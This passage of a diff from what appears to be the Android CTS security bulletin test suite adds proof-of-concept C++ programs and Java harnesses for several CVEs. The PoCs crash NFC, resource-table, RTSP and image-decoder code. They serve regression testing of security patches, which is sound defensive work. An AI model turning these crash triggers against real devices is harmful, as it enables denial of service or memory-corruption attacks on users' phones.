-void GKI_start_timer(uint8_t, int32_t, bool) {
+void GKI_freebuf(void *) {}
+
+void GKI_start_timer(uint8_t, int32_t, bool) {}
+
+void GKI_stop_timer(uint8_t) {}
+
+void cback(tRW_EVENT, tRW_DATA *) {}
+
+void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
+    (void)event;
+    (void)p_rw_data;
 }
 
-void GKI_stop_timer(uint8_t) {
-}
+void exit_handler(void) {
+    if (p_data) {
+        if (p_data->data.p_data) {
+            free(p_data->data.p_data);
+            p_data->data.p_data = nullptr;
+        }
+        free(p_data);
+        p_data = nullptr;
+    }
 
-void cback(tRW_EVENT, tRW_DATA*) {
+    if (p_mfc) {
+        if (p_mfc->p_ndef_buffer) {
+            free(p_mfc->p_ndef_buffer);
+            p_mfc->p_ndef_buffer = nullptr;
+        }
+        free(p_mfc);
+        p_mfc = nullptr;
+    }
 }
 
 int main() {
-    tRW_MFC_CB* p_mfc = &rw_cb.tcb.mfc;
+    atexit(exit_handler);
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigsegv_handler;
+    sigaction(SIGSEGV, &new_action, &old_action);
+
+    tNFC_ACTIVATE_DEVT p_activate_params = {};
+    p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+    p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+    RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+    FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+    p_mfc = &rw_cb.tcb.mfc;
 
     GKI_init();
     rw_init();
 
     uint8_t selres = 1;
-    uint8_t uid[MFC_UID_LEN] = { 1 };
-    if (rw_mfc_select(selres, uid) != NFC_STATUS_OK) {
-        return EXIT_FAILURE;
-    }
+    uint8_t uid[MFC_UID_LEN] = {1};
+
+    enable_selective_overload = ENABLE_MALLOC_CHECK;
+    FAIL_CHECK(rw_mfc_select(selres, uid) == NFC_STATUS_OK);
 
     p_mfc->state = RW_MFC_STATE_READ_NDEF;
     p_mfc->substate = RW_MFC_SUBSTATE_READ_BLOCK;
 
-    tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+    tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
 
-    tNFC_CONN* p_data = (tNFC_CONN*) malloc(sizeof(tNFC_CONN));
-    if (!p_data) {
-        return EXIT_FAILURE;
-    }
+    p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+    FAIL_CHECK(p_data);
 
-    p_data->data.p_data = (NFC_HDR*) malloc(sizeof(uint8_t) * 16);
-    if (!(p_data->data.p_data)) {
-        free(p_data);
-        return EXIT_FAILURE;
-    }
+    p_data->data.p_data = (NFC_HDR *)malloc(sizeof(uint8_t) * 16);
+    FAIL_CHECK(p_data->data.p_data);
 
     p_data->data.status = NFC_STATUS_OK;
     tNFC_CONN_EVT event = NFC_DATA_CEVT;
 
-    NFC_HDR* mfc_data = (NFC_HDR*) p_data->data.p_data;
-    mfc_data->len = 0x10;
+    NFC_HDR *mfc_data = (NFC_HDR *)p_data->data.p_data;
+    mfc_data->len = RW_MFC_DATA_LEN;
     mfc_data->offset = 0;
-    p_mfc->ndef_length = 1024;
-    p_mfc->p_ndef_buffer = (uint8_t*) malloc(sizeof(uint8_t) * 16);
-    if (!(p_mfc->p_ndef_buffer)) {
-        free(p_data->data.p_data);
-        free(p_data);
-        return EXIT_FAILURE;
-    }
+    p_mfc->ndef_length = P_MFC_NDEF_LENGTH;
+    p_mfc->p_ndef_buffer = (uint8_t *)malloc(sizeof(uint8_t) * 16);
+    enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+    FAIL_CHECK(p_mfc->p_ndef_buffer);
 
     rw_cb.p_cback = cback;
 
+    isTestInProgress = true;
     p_cb->p_cback(0, event, p_data);
+    isTestInProgress = false;
 
-    free(p_mfc->p_ndef_buffer);
-    free(p_data->data.p_data);
-    free(p_data);
     return EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp
new file mode 100644
index 0000000..8fd6801
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2021-39664",
+    defaults: [
+        "cts_hostsidetests_securitybulletin_defaults",
+    ],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    shared_libs: [
+        "libandroidfw",
+        "libui",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+        "-DENABLE_SELECTIVE_OVERLOADING",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp
new file mode 100644
index 0000000..0c477f6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp
@@ -0,0 +1,65 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <androidfw/ApkAssets.h>
+
+#include <vector>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+using android::LoadedArsc;
+
+bool testInProgress = false;
+char enable_selective_overload = ENABLE_NONE;
+FILE *file = nullptr;
+
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+    if (testInProgress && info->si_signo == SIGSEGV) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    _exit(EXIT_FAILURE);
+}
+
+void exitHandler(void) {
+    if (file) {
+        fclose(file);
+        file = nullptr;
+    }
+}
+
+int main(int argc, char **argv) {
+    atexit(exitHandler);
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigsegv_handler;
+    sigaction(SIGSEGV, &new_action, &old_action);
+    FAIL_CHECK(argc >= 2);
+    file = fopen(argv[1], "r");
+    FAIL_CHECK(file);
+    fseek(file, 0, SEEK_END);
+    size_t size = ftell(file);
+    fseek(file, 0, SEEK_SET);
+    enable_selective_overload = ENABLE_ALL;
+    std::vector<uint8_t> buffer(size);
+    enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+    FAIL_CHECK(fread((void *)buffer.data(), 1, size, file) == size);
+    testInProgress = true;
+    LoadedArsc::Load(buffer.data(), size);
+    testInProgress = false;
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/Android.bp
similarity index 62%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/Android.bp
index bcbf54f..0597cdf 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -20,7 +20,19 @@
 }
 
 cc_test {
-    name: "CVE-2020-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+    name: "CVE-2021-39665",
+    defaults: [
+        "cts_hostsidetests_securitybulletin_defaults"
+    ],
+    srcs: [
+        "poc.cpp",
+    ],
+    shared_libs: [
+        "libutils",
+        "libmediaplayerservice",
+        "libstagefright_foundation",
+    ],
+    include_dirs: [
+        "frameworks/av/media/libstagefright/rtsp",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/poc.cpp
new file mode 100644
index 0000000..a008005
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/poc.cpp
@@ -0,0 +1,84 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <dlfcn.h>
+#include "../includes/common.h"
+
+#define private public
+#include "AAVCAssembler.h"
+
+using namespace android;
+
+bool isOverloadingEnabled = false;
+
+bool isTestInProgress = false;
+
+struct sigaction newAction, oldAction;
+
+static void *(*realMalloc)(size_t) = nullptr;
+
+void *malloc(size_t size) {
+    if (!realMalloc) {
+        realMalloc = (void *(*)(size_t))dlsym(RTLD_NEXT, "malloc");
+        if (!realMalloc) {
+            return nullptr;
+        }
+    }
+    if (isOverloadingEnabled && (size == 0)) {
+        size_t pageSize = sysconf(_SC_PAGE_SIZE);
+        void *ptr = memalign(pageSize, pageSize);
+        mprotect(ptr, pageSize, PROT_NONE);
+        return ptr;
+    }
+    return realMalloc(size);
+}
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+    if (isTestInProgress && info->si_signo == SIGSEGV) {
+        (*oldAction.sa_sigaction)(signum, info, context);
+        return;
+    }
+    _exit(EXIT_FAILURE);
+}
+
+int main() {
+    sigemptyset(&newAction.sa_mask);
+    newAction.sa_flags = SA_SIGINFO;
+    newAction.sa_sigaction = sigsegv_handler;
+    sigaction(SIGSEGV, &newAction, &oldAction);
+
+    sp<ABuffer> buffer(new ABuffer(16));
+    FAIL_CHECK(buffer != nullptr);
+
+    sp<AMessage> meta = buffer->meta();
+    FAIL_CHECK(meta != nullptr);
+
+    uint32_t rtpTime = 16;
+    meta->setInt32("rtp-time", rtpTime);
+
+    AAVCAssembler *assembler = new AAVCAssembler(meta);
+    FAIL_CHECK(assembler != nullptr);
+
+    isOverloadingEnabled = true;
+    sp<ABuffer> zeroSizedBuffer(new ABuffer(0));
+    isOverloadingEnabled = false;
+
+    isTestInProgress = true;
+    assembler->checkSpsUpdated(zeroSizedBuffer);
+    isTestInProgress = false;
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp
similarity index 66%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp
index bcbf54f..b4bdd3c 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp
@@ -20,7 +20,20 @@
 }
 
 cc_test {
-    name: "CVE-2020-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+    name: "CVE-2021-39675",
+    compile_multilib: "64",
+    defaults: [
+        "cts_hostsidetests_securitybulletin_defaults",
+    ],
+    srcs: [
+        "poc.cpp",
+    ],
+    shared_libs: [
+       "libnfc-nci",
+    ],
+    include_dirs: [
+        "system/nfc/src/include",
+        "system/nfc/src/gki/common",
+        "system/nfc/src/gki/ulinux",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp
similarity index 64%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp
index bcbf54f..78ebda8 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp
@@ -1,26 +1,22 @@
-/*
+/**
  * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at:
+ * You may obtain a copy of the License at
  *
- * http://www.apache.org/licenses/LICENSE-2.0
+ *      http://www.apache.org/licenses/LICENSE-2.0
  *
  * Unless required by applicable law or agreed to in writing, software
  * distributed under the License is distributed on an "AS IS" BASIS,
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  * See the License for the specific language governing permissions and
  * limitations under the License.
- *
  */
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
+#include "../includes/common.h"
+#include "gki.h"
 
-cc_test {
-    name: "CVE-2020-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+int main() {
+    return (GKI_getbuf(USHRT_MAX) == nullptr) ? EXIT_SUCCESS : EXIT_VULNERABLE;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/Android.bp
similarity index 75%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/Android.bp
index bcbf54f..109a665 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -20,7 +20,15 @@
 }
 
 cc_test {
-    name: "CVE-2020-29368",
+    name: "CVE-2021-39804",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+    srcs: [
+        "poc.cpp",
+    ],
+    shared_libs: [
+        "libbinder",
+        "libjnigraphics",
+        "libutils",
+        "libui",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/poc.cpp
new file mode 100644
index 0000000..db09dee
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/poc.cpp
@@ -0,0 +1,59 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// This PoC is written taking reference from
+// frameworks/base/native/graphics/jni/imagedecoder.cpp
+
+#include "../includes/common.h"
+#include <android/imagedecoder.h>
+#include <binder/IPCThreadState.h>
+#include <vector>
+
+bool testInProgress = false;
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+  if (testInProgress && info->si_signo == SIGSEGV) {
+    (*old_action.sa_sigaction)(signum, info, context);
+    return;
+  }
+  exit(EXIT_FAILURE);
+}
+
+int main(int argc, char **argv) {
+  FAIL_CHECK(argc >= 2);
+  sigemptyset(&new_action.sa_mask);
+  new_action.sa_flags = SA_SIGINFO;
+  new_action.sa_sigaction = sigsegv_handler;
+  sigaction(SIGSEGV, &new_action, &old_action);
+  android::ProcessState::self()->startThreadPool();
+  FILE *file = fopen(argv[1], "r");
+  FAIL_CHECK(file);
+  fseek(file, 0, SEEK_END);
+  size_t size = ftell(file);
+  fseek(file, 0, SEEK_SET);
+  std::vector<uint8_t> buffer(size);
+  fread((void *)buffer.data(), 1, size, file);
+  fclose(file);
+  testInProgress = true;
+  AImageDecoder *decoder;
+  if (AImageDecoder_createFromBuffer(buffer.data(), size, &decoder) ==
+      ANDROID_IMAGE_DECODER_SUCCESS) {
+    AImageDecoder_delete(decoder);
+  }
+  testInProgress = false;
+  FAIL_CHECK(decoder);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/common.h b/hostsidetests/securitybulletin/securityPatch/includes/common.h
index 0f894a6..50dd8ac 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/common.h
+++ b/hostsidetests/securitybulletin/securityPatch/includes/common.h
@@ -36,7 +36,7 @@
 time_t start_timer(void);
 int timer_active(time_t timer_started);
 
-inline time_t start_timer() { return time(NULL); }
+inline time_t start_timer(void) { return time(NULL); }
 
 inline int timer_active(time_t timer_started) {
   return time(NULL) < (timer_started + MAX_TEST_DURATION);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
index 63a5370..75bbd0a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
@@ -23,10 +23,10 @@
 import org.junit.Before;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183613671 extends BaseHostJUnit4Test {
+public final class Bug_183613671 extends StsExtraBusinessLogicHostTestBase {
     private static final String TEST_PKG = "android.security.cts.BUG_183613671";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "BUG-183613671.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
index e31cb47..adf6103 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
@@ -25,10 +25,10 @@
 import org.junit.runner.RunWith;
 
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183963253 extends BaseHostJUnit4Test {
+public final class Bug_183963253 extends StsExtraBusinessLogicHostTestBase {
     private static final String TEST_PKG = "android.security.cts.BUG_183963253";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "BUG-183963253.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
index 31da488..b127c85 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,14 +14,19 @@
  * limitations under the License.
  */
 
+
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
 import com.android.compatibility.common.util.CrashUtils;
-import com.android.tradefed.device.ITestDevice;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
+
+import java.util.regex.Pattern;
+
 import org.junit.runner.RunWith;
+import org.junit.Test;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class CVE_2018_9558 extends SecurityTestCase {
@@ -29,16 +34,23 @@
     /**
      * b/112161557
      * Vulnerability Behaviour: SIGABRT in self
+     * Vulnerable Library: libnfc-nci (As per AOSP code)
+     * Vulnerable Function: rw_t2t_handle_tlv_detect_rsp (As per AOSP code)
      */
     @Test
     @AsbSecurityTest(cveBugId = 112161557)
     public void testPocCVE_2018_9558() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
         pocPusher.only64();
+        String signals[] = {CrashUtils.SIGABRT};
         String binaryName = "CVE-2018-9558";
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+                        "rw_t2t_handle_tlv_detect_rsp"));
+        testConfig.config
+                .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
         testConfig.config.setSignals(signals);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
new file mode 100644
index 0000000..181d660
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2012 extends SecurityTestCase {
+
+    /**
+     * b/120497437
+     * Vulnerability Behaviour: SIGSEGV in self
+     * Vulnerable Library: libnfc-nci (As per AOSP code)
+     * Vulnerable Function: rw_t3t_update_block (As per AOSP code)
+     */
+    @AsbSecurityTest(cveBugId = 120497437)
+    @Test
+    public void testPocCVE_2019_2012() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
+        pocPusher.only64();
+        String signals[] = {CrashUtils.SIGSEGV};
+        String binaryName = "CVE-2019-2012";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(
+                        new BacktraceFilterPattern("libnfc-nci", "rw_t3t_update_block"));
+        testConfig.config
+                .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
new file mode 100644
index 0000000..b7c2ea8
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2017 extends SecurityTestCase {
+
+    /**
+     * b/121035711
+     * Vulnerability Behaviour: SIGABRT in self
+     * Vulnerable Library: libnfc-nci (As per AOSP code)
+     * Vulnerable Function: rw_t2t_handle_tlv_detect_rsp (As per AOSP code)
+     */
+    @AsbSecurityTest(cveBugId = 121035711)
+    @Test
+    public void testPocCVE_2019_2017() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
+        pocPusher.only64();
+        String signals[] = {CrashUtils.SIGABRT};
+        String binaryName = "CVE-2019-2017";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+                        "rw_t2t_handle_tlv_detect_rsp"));
+        testConfig.config
+                .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
new file mode 100644
index 0000000..b65faee
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2020 extends SecurityTestCase {
+
+    /**
+     * b/116788646
+     * Vulnerability Behaviour: SIGSEGV in self
+     * Vulnerable Library: libnfc-nci (As per AOSP code)
+     * Vulnerable Function: llcp_dlc_proc_rx_pdu (As per AOSP code)
+     */
+    @AsbSecurityTest(cveBugId = 116788646)
+    @Test
+    public void testPocCVE_2019_2020() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
+        pocPusher.only64();
+        String signals[] = {CrashUtils.SIGSEGV};
+        String binaryName = "CVE-2019-2020";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+                        "llcp_dlc_proc_rx_pdu"));
+        testConfig.config
+                .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+        testConfig.config.checkMinAddress(false);
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
new file mode 100644
index 0000000..21b2285
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
@@ -0,0 +1,56 @@
+/*
